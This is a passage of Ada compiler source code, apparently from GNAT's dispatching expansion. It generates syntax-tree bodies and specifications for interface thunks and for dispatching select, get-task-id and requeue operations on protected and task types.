-- Thunk of function returning an interface object. Displacement
-- needed. Example:
-- type Iface is interface ...
-- function F (O : Iface) return Iface;
-- type T is new ... and Iface with ...
-- function F (O : T) return T;
else
Result_Def :=
New_Occurrence_Of (Class_Wide_Type (Etype (Prim)), Loc);
-- Adding implicit conversion to force the displacement of
-- the pointer to the object to reference the corresponding
-- secondary dispatch table.
Call_Node :=
Make_Type_Conversion (Loc,
Subtype_Mark =>
New_Occurrence_Of (Class_Wide_Type (Etype (Prim)), Loc),
Expression => Relocate_Node (Call_Node));
end if;
Thunk_Code :=
Make_Subprogram_Body (Loc,
Specification =>
Make_Function_Specification (Loc,
Defining_Unit_Name => Thunk_Id,
Parameter_Specifications => Formals,
Result_Definition => Result_Def),
Declarations => Decl,
Handled_Statement_Sequence =>
Make_Handled_Sequence_Of_Statements (Loc,
Statements => New_List (
Make_Simple_Return_Statement (Loc, Call_Node))));
end;
end if;
end Expand_Interface_Thunk;
--------------------------
-- Has_CPP_Constructors --
--------------------------
function Has_CPP_Constructors (Typ : Entity_Id) return Boolean is
E : Entity_Id;
begin
-- Look for the constructor entities
E := Next_Entity (Typ);
while Present (E) loop
if Ekind (E) = E_Function and then Is_Constructor (E) then
return True;
end if;
Next_Entity (E);
end loop;
return False;
end Has_CPP_Constructors;
------------
-- Has_DT --
------------
function Has_DT (Typ : Entity_Id) return Boolean is
begin
return not Is_Interface (Typ)
and then not Restriction_Active (No_Dispatching_Calls);
end Has_DT;
----------------------------------
-- Is_Expanded_Dispatching_Call --
----------------------------------
function Is_Expanded_Dispatching_Call (N : Node_Id) return Boolean is
begin
return Nkind (N) in N_Subprogram_Call
and then Nkind (Name (N)) = N_Explicit_Dereference
and then Is_Dispatch_Table_Entity (Etype (Name (N)));
end Is_Expanded_Dispatching_Call;
-------------------------------------
-- Is_Predefined_Dispatching_Alias --
-------------------------------------
function Is_Predefined_Dispatching_Alias (Prim : Entity_Id) return Boolean
is
begin
return not Is_Predefined_Dispatching_Operation (Prim)
and then Present (Alias (Prim))
and then Is_Predefined_Dispatching_Operation (Ultimate_Alias (Prim));
end Is_Predefined_Dispatching_Alias;
----------------------------------------
-- Make_Disp_Asynchronous_Select_Body --
----------------------------------------
-- For interface types, generate:
-- procedure _Disp_Asynchronous_Select
-- (T : in out <Typ>;
-- S : Integer;
-- P : System.Address;
-- B : out System.Storage_Elements.Dummy_Communication_Block;
-- F : out Boolean)
-- is
-- begin
-- F := False;
-- C := Ada.Tags.POK_Function;
-- end _Disp_Asynchronous_Select;
-- For protected types, generate:
-- procedure _Disp_Asynchronous_Select
-- (T : in out <Typ>;
-- S : Integer;
-- P : System.Address;
-- B : out System.Storage_Elements.Dummy_Communication_Block;
-- F : out Boolean)
-- is
-- I : Integer :=
-- Ada.Tags.Get_Entry_Index (Ada.Tags.Tag (<Typ>VP, S));
-- Bnn : System.Tasking.Protected_Objects.Operations.
-- Communication_Block;
-- begin
-- System.Tasking.Protected_Objects.Operations.Protected_Entry_Call
-- (T._object'Access,
-- System.Tasking.Protected_Objects.Protected_Entry_Index (I),
-- P,
-- System.Tasking.Asynchronous_Call,
-- Bnn);
-- B := System.Storage_Elements.Dummy_Communication_Block (Bnn);
-- end _Disp_Asynchronous_Select;
-- For task types, generate:
-- procedure _Disp_Asynchronous_Select
-- (T : in out <Typ>;
-- S : Integer;
-- P : System.Address;
-- B : out System.Storage_Elements.Dummy_Communication_Block;
-- F : out Boolean)
-- is
-- I : Integer :=
-- Ada.Tags.Get_Entry_Index (Ada.Tags.Tag (<Typ>VP, S));
-- begin
-- System.Tasking.Rendezvous.Task_Entry_Call
-- (T._task_id,
-- System.Tasking.Task_Entry_Index (I),
-- P,
-- System.Tasking.Asynchronous_Call,
-- F);
-- end _Disp_Asynchronous_Select;
function Make_Disp_Asynchronous_Select_Body
(Typ : Entity_Id) return Node_Id
is
Com_Block : Entity_Id;
Conc_Typ : Entity_Id := Empty;
Decls : constant List_Id := New_List;
Loc : constant Source_Ptr := Sloc (Typ);
Obj_Ref : Node_Id;
Stmts : constant List_Id := New_List;
Tag_Node : Node_Id;
begin
pragma Assert (not Restriction_Active (No_Dispatching_Calls));
-- Null body is generated for interface types
if Is_Interface (Typ) then
return
Make_Subprogram_Body (Loc,
Specification =>
Make_Disp_Asynchronous_Select_Spec (Typ),
Declarations => New_List,
Handled_Statement_Sequence =>
Make_Handled_Sequence_Of_Statements (Loc,
New_List (
Make_Assignment_Statement (Loc,
Name => Make_Identifier (Loc, Name_uF),
Expression => New_Occurrence_Of (Standard_False, Loc)))));
end if;
if Is_Concurrent_Record_Type (Typ) then
Conc_Typ := Corresponding_Concurrent_Type (Typ);
-- Generate:
-- I : Integer :=
-- Ada.Tags.Get_Entry_Index (Ada.Tags.Tag! (<type>VP), S);
-- where I will be used to capture the entry index of the primitive
-- wrapper at position S.
if Tagged_Type_Expansion then
Tag_Node :=
Unchecked_Convert_To (RTE (RE_Tag),
New_Occurrence_Of
(Node (First_Elmt (Access_Disp_Table (Typ))), Loc));
else
Tag_Node :=
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Typ, Loc),
Attribute_Name => Name_Tag);
end if;
Append_To (Decls,
Make_Object_Declaration (Loc,
Defining_Identifier =>
Make_Defining_Identifier (Loc, Name_uI),
Object_Definition =>
New_Occurrence_Of (Standard_Integer, Loc),
Expression =>
Make_Function_Call (Loc,
Name =>
New_Occurrence_Of (RTE (RE_Get_Entry_Index), Loc),
Parameter_Associations =>
New_List (Tag_Node, Make_Identifier (Loc, Name_uS)))));
if Ekind (Conc_Typ) = E_Protected_Type then
-- Generate:
-- Bnn : Communication_Block;
Com_Block := Make_Temporary (Loc, 'B');
Append_To (Decls,
Make_Object_Declaration (Loc,
Defining_Identifier => Com_Block,
Object_Definition =>
New_Occurrence_Of (RTE (RE_Communication_Block), Loc)));
-- Build T._object'Access for calls below
Obj_Ref :=
Make_Attribute_Reference (Loc,
Attribute_Name => Name_Unchecked_Access,
Prefix =>
Make_Selected_Component (Loc,
Prefix => Make_Identifier (Loc, Name_uT),
Selector_Name => Make_Identifier (Loc, Name_uObject)));
case Corresponding_Runtime_Package (Conc_Typ) is
when System_Tasking_Protected_Objects_Entries =>
-- Generate:
-- Protected_Entry_Call
-- (T._object'Access, -- Object
-- Protected_Entry_Index! (I), -- E
-- P, -- Uninterpreted_Data
-- Asynchronous_Call, -- Mode
-- Bnn); -- Communication_Block
-- where T is the protected object, I is the entry index, P
-- is the wrapped parameters and B is the name of the
-- communication block.
Append_To (Stmts,
Make_Procedure_Call_Statement (Loc,
Name =>
New_Occurrence_Of (RTE (RE_Protected_Entry_Call), Loc),
Parameter_Associations =>
New_List (
Obj_Ref,
Make_Unchecked_Type_Conversion (Loc, -- entry index
Subtype_Mark =>
New_Occurrence_Of
(RTE (RE_Protected_Entry_Index), Loc),
Expression => Make_Identifier (Loc, Name_uI)),
Make_Identifier (Loc, Name_uP), -- parameter block
New_Occurrence_Of -- Asynchronous_Call
(RTE (RE_Asynchronous_Call), Loc),
New_Occurrence_Of -- comm block
(Com_Block, Loc))));
when others =>
raise Program_Error;
end case;
-- Generate:
-- B := Dummy_Communication_Block (Bnn);
Append_To (Stmts,
Make_Assignment_Statement (Loc,
Name => Make_Identifier (Loc, Name_uB),
Expression =>
Make_Unchecked_Type_Conversion (Loc,
Subtype_Mark =>
New_Occurrence_Of
(RTE (RE_Dummy_Communication_Block), Loc),
Expression => New_Occurrence_Of (Com_Block, Loc))));
-- Generate:
-- F := False;
Append_To (Stmts,
Make_Assignment_Statement (Loc,
Name => Make_Identifier (Loc, Name_uF),
Expression => New_Occurrence_Of (Standard_False, Loc)));
else
pragma Assert (Ekind (Conc_Typ) = E_Task_Type);
-- Generate:
-- Task_Entry_Call
-- (T._task_id, -- Acceptor
-- Task_Entry_Index! (I), -- E
-- P, -- Uninterpreted_Data
-- Asynchronous_Call, -- Mode
-- F); -- Rendezvous_Successful
-- where T is the task object, I is the entry index, P is the
-- wrapped parameters and F is the status flag.
Append_To (Stmts,
Make_Procedure_Call_Statement (Loc,
Name =>
New_Occurrence_Of (RTE (RE_Task_Entry_Call), Loc),
Parameter_Associations =>
New_List (
Make_Selected_Component (Loc, -- T._task_id
Prefix => Make_Identifier (Loc, Name_uT),
Selector_Name => Make_Identifier (Loc, Name_uTask_Id)),
Make_Unchecked_Type_Conversion (Loc, -- entry index
Subtype_Mark =>
New_Occurrence_Of (RTE (RE_Task_Entry_Index), Loc),
Expression => Make_Identifier (Loc, Name_uI)),
Make_Identifier (Loc, Name_uP), -- parameter block
New_Occurrence_Of -- Asynchronous_Call
(RTE (RE_Asynchronous_Call), Loc),
Make_Identifier (Loc, Name_uF)))); -- status flag
end if;
else
-- Ensure that the statements list is non-empty
Append_To (Stmts,
Make_Assignment_Statement (Loc,
Name => Make_Identifier (Loc, Name_uF),
Expression => New_Occurrence_Of (Standard_False, Loc)));
end if;
return
Make_Subprogram_Body (Loc,
Specification =>
Make_Disp_Asynchronous_Select_Spec (Typ),
Declarations => Decls,
Handled_Statement_Sequence =>
Make_Handled_Sequence_Of_Statements (Loc, Stmts));
end Make_Disp_Asynchronous_Select_Body;
----------------------------------------
-- Make_Disp_Asynchronous_Select_Spec --
----------------------------------------
function Make_Disp_Asynchronous_Select_Spec
(Typ : Entity_Id) return Node_Id
is
Loc : constant Source_Ptr := Sloc (Typ);
B_Id : constant Entity_Id := Make_Defining_Identifier (Loc, Name_uB);
Def_Id : constant Entity_Id :=
Make_Defining_Identifier (Loc,
Name_uDisp_Asynchronous_Select);
Params : constant List_Id := New_List;
begin
pragma Assert (not Restriction_Active (No_Dispatching_Calls));
-- T : in out Typ; -- Object parameter
-- S : Integer; -- Primitive operation slot
-- P : Address; -- Wrapped parameters
-- B : out Dummy_Communication_Block; -- Communication block dummy
-- F : out Boolean; -- Status flag
-- The B parameter may be left uninitialized
Set_Warnings_Off (B_Id);
Append_List_To (Params, New_List (
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uT),
Parameter_Type => New_Occurrence_Of (Typ, Loc),
In_Present => True,
Out_Present => True),
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uS),
Parameter_Type => New_Occurrence_Of (Standard_Integer, Loc)),
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uP),
Parameter_Type => New_Occurrence_Of (RTE (RE_Address), Loc)),
Make_Parameter_Specification (Loc,
Defining_Identifier => B_Id,
Parameter_Type =>
New_Occurrence_Of (RTE (RE_Dummy_Communication_Block), Loc),
Out_Present => True),
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uF),
Parameter_Type => New_Occurrence_Of (Standard_Boolean, Loc),
Out_Present => True)));
return
Make_Procedure_Specification (Loc,
Defining_Unit_Name => Def_Id,
Parameter_Specifications => Params);
end Make_Disp_Asynchronous_Select_Spec;
---------------------------------------
-- Make_Disp_Conditional_Select_Body --
---------------------------------------
-- For interface types, generate:
-- procedure _Disp_Conditional_Select
-- (T : in out <Typ>;
-- S : Integer;
-- P : System.Address;
-- C : out Ada.Tags.Prim_Op_Kind;
-- F : out Boolean)
-- is
-- begin
-- F := False;
-- C := Ada.Tags.POK_Function;
-- end _Disp_Conditional_Select;
-- For protected types, generate:
-- procedure _Disp_Conditional_Select
-- (T : in out <Typ>;
-- S : Integer;
-- P : System.Address;
-- C : out Ada.Tags.Prim_Op_Kind;
-- F : out Boolean)
-- is
-- I : Integer;
-- Bnn : System.Tasking.Protected_Objects.Operations.
-- Communication_Block;
-- begin
-- C := Ada.Tags.Get_Prim_Op_Kind (Ada.Tags.Tag (<Typ>VP, S));
-- if C = Ada.Tags.POK_Procedure
-- or else C = Ada.Tags.POK_Protected_Procedure
-- or else C = Ada.Tags.POK_Task_Procedure
-- then
-- F := True;
-- return;
-- end if;
-- I := Ada.Tags.Get_Entry_Index (Ada.Tags.Tag (<Typ>VP, S));
-- System.Tasking.Protected_Objects.Operations.Protected_Entry_Call
-- (T.object'Access,
-- System.Tasking.Protected_Objects.Protected_Entry_Index (I),
-- P,
-- System.Tasking.Conditional_Call,
-- Bnn);
-- F := not Cancelled (Bnn);
-- end _Disp_Conditional_Select;
-- For task types, generate:
-- procedure _Disp_Conditional_Select
-- (T : in out <Typ>;
-- S : Integer;
-- P : System.Address;
-- C : out Ada.Tags.Prim_Op_Kind;
-- F : out Boolean)
-- is
-- I : Integer;
-- begin
-- I := Ada.Tags.Get_Entry_Index (Ada.Tags.Tag (<Typ>VP, S));
-- System.Tasking.Rendezvous.Task_Entry_Call
-- (T._task_id,
-- System.Tasking.Task_Entry_Index (I),
-- P,
-- System.Tasking.Conditional_Call,
-- F);
-- end _Disp_Conditional_Select;
function Make_Disp_Conditional_Select_Body
(Typ : Entity_Id) return Node_Id
is
Loc : constant Source_Ptr := Sloc (Typ);
Blk_Nam : Entity_Id;
Conc_Typ : Entity_Id := Empty;
Decls : constant List_Id := New_List;
Obj_Ref : Node_Id;
Stmts : constant List_Id := New_List;
Tag_Node : Node_Id;
begin
pragma Assert (not Restriction_Active (No_Dispatching_Calls));
-- Null body is generated for interface types
if Is_Interface (Typ) then
return
Make_Subprogram_Body (Loc,
Specification =>
Make_Disp_Conditional_Select_Spec (Typ),
Declarations => No_List,
Handled_Statement_Sequence =>
Make_Handled_Sequence_Of_Statements (Loc,
New_List (Make_Assignment_Statement (Loc,
Name => Make_Identifier (Loc, Name_uF),
Expression => New_Occurrence_Of (Standard_False, Loc)))));
end if;
if Is_Concurrent_Record_Type (Typ) then
Conc_Typ := Corresponding_Concurrent_Type (Typ);
-- Generate:
-- I : Integer;
-- where I will be used to capture the entry index of the primitive
-- wrapper at position S.
Append_To (Decls,
Make_Object_Declaration (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uI),
Object_Definition =>
New_Occurrence_Of (Standard_Integer, Loc)));
-- Generate:
-- C := Ada.Tags.Get_Prim_Op_Kind (Ada.Tags.Tag! (<type>VP), S);
-- if C = POK_Procedure
-- or else C = POK_Protected_Procedure
-- or else C = POK_Task_Procedure;
-- then
-- F := True;
-- return;
-- end if;
Build_Common_Dispatching_Select_Statements (Typ, Stmts);
-- Generate:
-- Bnn : Communication_Block;
-- where Bnn is the name of the communication block used in the
-- call to Protected_Entry_Call.
Blk_Nam := Make_Temporary (Loc, 'B');
Append_To (Decls,
Make_Object_Declaration (Loc,
Defining_Identifier => Blk_Nam,
Object_Definition =>
New_Occurrence_Of (RTE (RE_Communication_Block), Loc)));
-- Generate:
-- I := Ada.Tags.Get_Entry_Index (Ada.Tags.Tag! (<type>VP), S);
-- I is the entry index and S is the dispatch table slot
if Tagged_Type_Expansion then
Tag_Node :=
Unchecked_Convert_To (RTE (RE_Tag),
New_Occurrence_Of
(Node (First_Elmt (Access_Disp_Table (Typ))), Loc));
else
Tag_Node :=
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Typ, Loc),
Attribute_Name => Name_Tag);
end if;
Append_To (Stmts,
Make_Assignment_Statement (Loc,
Name => Make_Identifier (Loc, Name_uI),
Expression =>
Make_Function_Call (Loc,
Name =>
New_Occurrence_Of (RTE (RE_Get_Entry_Index), Loc),
Parameter_Associations => New_List (
Tag_Node,
Make_Identifier (Loc, Name_uS)))));
if Ekind (Conc_Typ) = E_Protected_Type then
Obj_Ref := -- T._object'Access
Make_Attribute_Reference (Loc,
Attribute_Name => Name_Unchecked_Access,
Prefix =>
Make_Selected_Component (Loc,
Prefix => Make_Identifier (Loc, Name_uT),
Selector_Name => Make_Identifier (Loc, Name_uObject)));
case Corresponding_Runtime_Package (Conc_Typ) is
when System_Tasking_Protected_Objects_Entries =>
-- Generate:
-- Protected_Entry_Call
-- (T._object'Access, -- Object
-- Protected_Entry_Index! (I), -- E
-- P, -- Uninterpreted_Data
-- Conditional_Call, -- Mode
-- Bnn); -- Block
-- where T is the protected object, I is the entry index, P
-- are the wrapped parameters and Bnn is the name of the
-- communication block.
Append_To (Stmts,
Make_Procedure_Call_Statement (Loc,
Name =>
New_Occurrence_Of (RTE (RE_Protected_Entry_Call), Loc),
Parameter_Associations => New_List (
Obj_Ref,
Make_Unchecked_Type_Conversion (Loc, -- entry index
Subtype_Mark =>
New_Occurrence_Of
(RTE (RE_Protected_Entry_Index), Loc),
Expression => Make_Identifier (Loc, Name_uI)),
Make_Identifier (Loc, Name_uP), -- parameter block
New_Occurrence_Of -- Conditional_Call
(RTE (RE_Conditional_Call), Loc),
New_Occurrence_Of -- Bnn
(Blk_Nam, Loc))));
when System_Tasking_Protected_Objects_Single_Entry =>
-- If we are compiling for a restricted run-time, the call
-- uses the simpler form.
Append_To (Stmts,
Make_Procedure_Call_Statement (Loc,
Name =>
New_Occurrence_Of
(RTE (RE_Protected_Single_Entry_Call), Loc),
Parameter_Associations => New_List (
Obj_Ref,
Make_Attribute_Reference (Loc,
Prefix => Make_Identifier (Loc, Name_uP),
Attribute_Name => Name_Address),
New_Occurrence_Of
(RTE (RE_Conditional_Call), Loc))));
when others =>
raise Program_Error;
end case;
-- Generate:
-- F := not Cancelled (Bnn);
-- where F is the success flag. The status of Cancelled is negated
-- in order to match the behavior of the version for task types.
Append_To (Stmts,
Make_Assignment_Statement (Loc,
Name => Make_Identifier (Loc, Name_uF),
Expression =>
Make_Op_Not (Loc,
Right_Opnd =>
Make_Function_Call (Loc,
Name =>
New_Occurrence_Of (RTE (RE_Cancelled), Loc),
Parameter_Associations => New_List (
New_Occurrence_Of (Blk_Nam, Loc))))));
else
pragma Assert (Ekind (Conc_Typ) = E_Task_Type);
-- Generate:
-- Task_Entry_Call
-- (T._task_id, -- Acceptor
-- Task_Entry_Index! (I), -- E
-- P, -- Uninterpreted_Data
-- Conditional_Call, -- Mode
-- F); -- Rendezvous_Successful
-- where T is the task object, I is the entry index, P are the
-- wrapped parameters and F is the status flag.
Append_To (Stmts,
Make_Procedure_Call_Statement (Loc,
Name =>
New_Occurrence_Of (RTE (RE_Task_Entry_Call), Loc),
Parameter_Associations => New_List (
Make_Selected_Component (Loc, -- T._task_id
Prefix => Make_Identifier (Loc, Name_uT),
Selector_Name => Make_Identifier (Loc, Name_uTask_Id)),
Make_Unchecked_Type_Conversion (Loc, -- entry index
Subtype_Mark =>
New_Occurrence_Of (RTE (RE_Task_Entry_Index), Loc),
Expression => Make_Identifier (Loc, Name_uI)),
Make_Identifier (Loc, Name_uP), -- parameter block
New_Occurrence_Of -- Conditional_Call
(RTE (RE_Conditional_Call), Loc),
Make_Identifier (Loc, Name_uF)))); -- status flag
end if;
else
-- Initialize out parameters
Append_To (Stmts,
Make_Assignment_Statement (Loc,
Name => Make_Identifier (Loc, Name_uF),
Expression => New_Occurrence_Of (Standard_False, Loc)));
Append_To (Stmts,
Make_Assignment_Statement (Loc,
Name => Make_Identifier (Loc, Name_uC),
Expression => New_Occurrence_Of (RTE (RE_POK_Function), Loc)));
end if;
return
Make_Subprogram_Body (Loc,
Specification =>
Make_Disp_Conditional_Select_Spec (Typ),
Declarations => Decls,
Handled_Statement_Sequence =>
Make_Handled_Sequence_Of_Statements (Loc, Stmts));
end Make_Disp_Conditional_Select_Body;
---------------------------------------
-- Make_Disp_Conditional_Select_Spec --
---------------------------------------
function Make_Disp_Conditional_Select_Spec
(Typ : Entity_Id) return Node_Id
is
Loc : constant Source_Ptr := Sloc (Typ);
Def_Id : constant Node_Id :=
Make_Defining_Identifier (Loc,
Name_uDisp_Conditional_Select);
Params : constant List_Id := New_List;
begin
pragma Assert (not Restriction_Active (No_Dispatching_Calls));
-- T : in out Typ; -- Object parameter
-- S : Integer; -- Primitive operation slot
-- P : Address; -- Wrapped parameters
-- C : out Prim_Op_Kind; -- Call kind
-- F : out Boolean; -- Status flag
Append_List_To (Params, New_List (
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uT),
Parameter_Type => New_Occurrence_Of (Typ, Loc),
In_Present => True,
Out_Present => True),
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uS),
Parameter_Type => New_Occurrence_Of (Standard_Integer, Loc)),
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uP),
Parameter_Type => New_Occurrence_Of (RTE (RE_Address), Loc)),
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uC),
Parameter_Type =>
New_Occurrence_Of (RTE (RE_Prim_Op_Kind), Loc),
Out_Present => True),
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uF),
Parameter_Type => New_Occurrence_Of (Standard_Boolean, Loc),
Out_Present => True)));
return
Make_Procedure_Specification (Loc,
Defining_Unit_Name => Def_Id,
Parameter_Specifications => Params);
end Make_Disp_Conditional_Select_Spec;
-------------------------------------
-- Make_Disp_Get_Prim_Op_Kind_Body --
-------------------------------------
function Make_Disp_Get_Prim_Op_Kind_Body (Typ : Entity_Id) return Node_Id is
Loc : constant Source_Ptr := Sloc (Typ);
Tag_Node : Node_Id;
begin
pragma Assert (not Restriction_Active (No_Dispatching_Calls));
if Is_Interface (Typ) then
return
Make_Subprogram_Body (Loc,
Specification =>
Make_Disp_Get_Prim_Op_Kind_Spec (Typ),
Declarations => New_List,
Handled_Statement_Sequence =>
Make_Handled_Sequence_Of_Statements (Loc,
New_List (Make_Null_Statement (Loc))));
end if;
-- Generate:
-- C := get_prim_op_kind (tag! (<type>VP), S);
-- where C is the out parameter capturing the call kind and S is the
-- dispatch table slot number.
if Tagged_Type_Expansion then
Tag_Node :=
Unchecked_Convert_To (RTE (RE_Tag),
New_Occurrence_Of
(Node (First_Elmt (Access_Disp_Table (Typ))), Loc));
else
Tag_Node :=
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Typ, Loc),
Attribute_Name => Name_Tag);
end if;
return
Make_Subprogram_Body (Loc,
Specification =>
Make_Disp_Get_Prim_Op_Kind_Spec (Typ),
Declarations => New_List,
Handled_Statement_Sequence =>
Make_Handled_Sequence_Of_Statements (Loc,
New_List (
Make_Assignment_Statement (Loc,
Name => Make_Identifier (Loc, Name_uC),
Expression =>
Make_Function_Call (Loc,
Name =>
New_Occurrence_Of (RTE (RE_Get_Prim_Op_Kind), Loc),
Parameter_Associations => New_List (
Tag_Node,
Make_Identifier (Loc, Name_uS)))))));
end Make_Disp_Get_Prim_Op_Kind_Body;
-------------------------------------
-- Make_Disp_Get_Prim_Op_Kind_Spec --
-------------------------------------
function Make_Disp_Get_Prim_Op_Kind_Spec
(Typ : Entity_Id) return Node_Id
is
Loc : constant Source_Ptr := Sloc (Typ);
Def_Id : constant Node_Id :=
Make_Defining_Identifier (Loc, Name_uDisp_Get_Prim_Op_Kind);
Params : constant List_Id := New_List;
begin
pragma Assert (not Restriction_Active (No_Dispatching_Calls));
-- T : in out Typ; -- Object parameter
-- S : Integer; -- Primitive operation slot
-- C : out Prim_Op_Kind; -- Call kind
Append_List_To (Params, New_List (
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uT),
Parameter_Type => New_Occurrence_Of (Typ, Loc),
In_Present => True,
Out_Present => True),
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uS),
Parameter_Type => New_Occurrence_Of (Standard_Integer, Loc)),
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uC),
Parameter_Type =>
New_Occurrence_Of (RTE (RE_Prim_Op_Kind), Loc),
Out_Present => True)));
return
Make_Procedure_Specification (Loc,
Defining_Unit_Name => Def_Id,
Parameter_Specifications => Params);
end Make_Disp_Get_Prim_Op_Kind_Spec;
--------------------------------
-- Make_Disp_Get_Task_Id_Body --
--------------------------------
function Make_Disp_Get_Task_Id_Body
(Typ : Entity_Id) return Node_Id
is
Loc : constant Source_Ptr := Sloc (Typ);
Ret : Node_Id;
begin
pragma Assert (not Restriction_Active (No_Dispatching_Calls));
if Is_Concurrent_Record_Type (Typ)
and then Ekind (Corresponding_Concurrent_Type (Typ)) = E_Task_Type
then
-- Generate:
-- return To_Address (_T._task_id);
Ret :=
Make_Simple_Return_Statement (Loc,
Expression =>
Make_Unchecked_Type_Conversion (Loc,
Subtype_Mark => New_Occurrence_Of (RTE (RE_Address), Loc),
Expression =>
Make_Selected_Component (Loc,
Prefix => Make_Identifier (Loc, Name_uT),
Selector_Name => Make_Identifier (Loc, Name_uTask_Id))));
-- A null body is constructed for non-task types
else
-- Generate:
-- return Null_Address;
Ret :=
Make_Simple_Return_Statement (Loc,
Expression => New_Occurrence_Of (RTE (RE_Null_Address), Loc));
end if;
return
Make_Subprogram_Body (Loc,
Specification => Make_Disp_Get_Task_Id_Spec (Typ),
Declarations => New_List,
Handled_Statement_Sequence =>
Make_Handled_Sequence_Of_Statements (Loc, New_List (Ret)));
end Make_Disp_Get_Task_Id_Body;
--------------------------------
-- Make_Disp_Get_Task_Id_Spec --
--------------------------------
function Make_Disp_Get_Task_Id_Spec
(Typ : Entity_Id) return Node_Id
is
Loc : constant Source_Ptr := Sloc (Typ);
begin
pragma Assert (not Restriction_Active (No_Dispatching_Calls));
return
Make_Function_Specification (Loc,
Defining_Unit_Name =>
Make_Defining_Identifier (Loc, Name_uDisp_Get_Task_Id),
Parameter_Specifications => New_List (
Make_Parameter_Specification (Loc,
Defining_Identifier => Make_Defining_Identifier (Loc, Name_uT),
Parameter_Type => New_Occurrence_Of (Typ, Loc))),
Result_Definition =>
New_Occurrence_Of (RTE (RE_Address), Loc));
end Make_Disp_Get_Task_Id_Spec;
----------------------------
-- Make_Disp_Requeue_Body --
----------------------------
function Make_Disp_Requeue_Body
(Typ : Entity_Id) return Node_Id
is
Loc : constant Source_Ptr := Sloc (Typ);
Conc_Typ : Entity_Id := Empty;
Stmts : constant List_Id := New_List;
begin
pragma Assert (not Restriction_Active (No_Dispatching_Calls));
-- Null body is generated for interface types and non-concurrent
-- tagged types.
if Is_Interface (Typ)
or else not Is_Concurrent_Record_Type (Typ)
then
return
Make_Subprogram_Body (Loc,
Specification => Make_Disp_Requeue_Spec (Typ),
Declarations => No_List,
Handled_Statement_Sequence =>
Make_Handled_Sequence_Of_Statements (Loc,
New_List (Make_Null_Statement (Loc))));
end if;
Conc_Typ := Corresponding_Concurrent_Type (Typ);
if Ekind (Conc_Typ) = E_Protected_Type then
-- Generate statements:
-- if F then
-- System.Tasking.Protected_Objects.Operations.
-- Requeue_Protected_Entry
-- (Protection_Entries_Access (P),
-- O._object'Unchecked_Access,
-- Protected_Entry_Index (I),
-- A);
-- else
-- System.Tasking.Protected_Objects.Operations.
-- Requeue_Task_To_Protected_Entry
-- (O._object'Unchecked_Access,
-- Protected_Entry_Index (I),
-- A);
-- end if;
if Restriction_Active (No_Entry_Queue) then
Append_To (Stmts, Make_Null_Statement (Loc));
else
Append_To (Stmts,
Make_If_Statement (Loc,
Condition => Make_Identifier (Loc, Name_uF),
Then_Statements =>
New_List (
-- Call to Requeue_Protected_Entry
Make_Procedure_Call_Statement (Loc,
Name =>
New_Occurrence_Of
(RTE (RE_Requeue_Protected_Entry), Loc),
Parameter_Associations =>
New_List (
Make_Unchecked_Type_Conversion (Loc, -- PEA (P)
Subtype_Mark =>
New_Occurrence_Of (
RTE (RE_Protection_Entries_Access), Loc),
Expression =>
Make_Identifier (Loc, Name_uP)),
Make_Attribute_Reference (Loc, -- O._object'Acc
Attribute_Name =>
Name_Unchecked_Access,
Prefix =>
Make_Selected_Component (Loc,
Prefix =>
Make_Identifier (Loc, Name_uO),
Selector_Name =>
Make_Identifier (Loc, Name_uObject))),
Make_Unchecked_Type_Conversion (Loc, -- entry index
Subtype_Mark =>
New_Occurrence_Of
(RTE (RE_Protected_Entry_Index), Loc),
Expression => Make_Identifier (Loc, Name_uI)),
Make_Identifier (Loc, Name_uA)))), -- abort status
Else_Statements =>
New_List (
-- Call to Requeue_Task_To_Protected_Entry
Make_Procedure_Call_Statement (Loc,
Name =>
New_Occurrence_Of
(RTE (RE_Requeue_Task_To_Protected_Entry), Loc),
Parameter_Associations =>
New_List (
Make_Attribute_Reference (Loc, -- O._object'Acc
Attribute_Name => Name_Unchecked_Access,
Prefix =>
Make_Selected_Component (Loc,
Prefix =>
Make_Identifier (Loc, Name_uO),
Selector_Name =>
Make_Identifier (Loc, Name_uObject))),
Make_Unchecked_Type_Conversion (Loc, -- entry index
Subtype_Mark =>
New_Occurrence_Of
(RTE (RE_Protected_Entry_Index), Loc),
Expression => Make_Identifier (Loc, Name_uI)),
Make_Identifier (Loc, Name_uA)))))); -- abort status
end if;
else
pragma Assert (Is_Task_Type (Conc_Typ));
-- Generate:
-- if F then
-- System.Tasking.Rendezvous.Requeue_Protected_To_Task_Entry
-- (Protection_Entries_Access (P),
-- O._task_id,
-- Task_Entry_Index (I),
-- A);
-- else
-- System.Tasking.Rendezvous.Requeue_Task_Entry
-- (O._task_id,
-- Task_Entry_Index (I),
-- A);
-- end if;
Append_To (Stmts,
Make_If_Statement (Loc,
Condition => Make_Identifier (Loc, Name_uF),
Then_Statements => New_List (
-- Call to Requeue_Protected_To_Task_Entry
Make_Procedure_Call_Statement (Loc,
Name =>
New_Occurrence_Of
(RTE (RE_Requeue_Protected_To_Task_Entry), Loc),
Parameter_Associations => New_List (
Make_Unchecked_Type_Conversion (Loc, -- PEA (P)
Subtype_Mark =>
New_Occurrence_Of
(RTE (RE_Protection_Entries_Access), Loc),
Expression => Make_Identifier (Loc, Name_uP)),
Make_Selected_Component (Loc, -- O._task_id
Prefix => Make_Identifier (Loc, Name_uO),
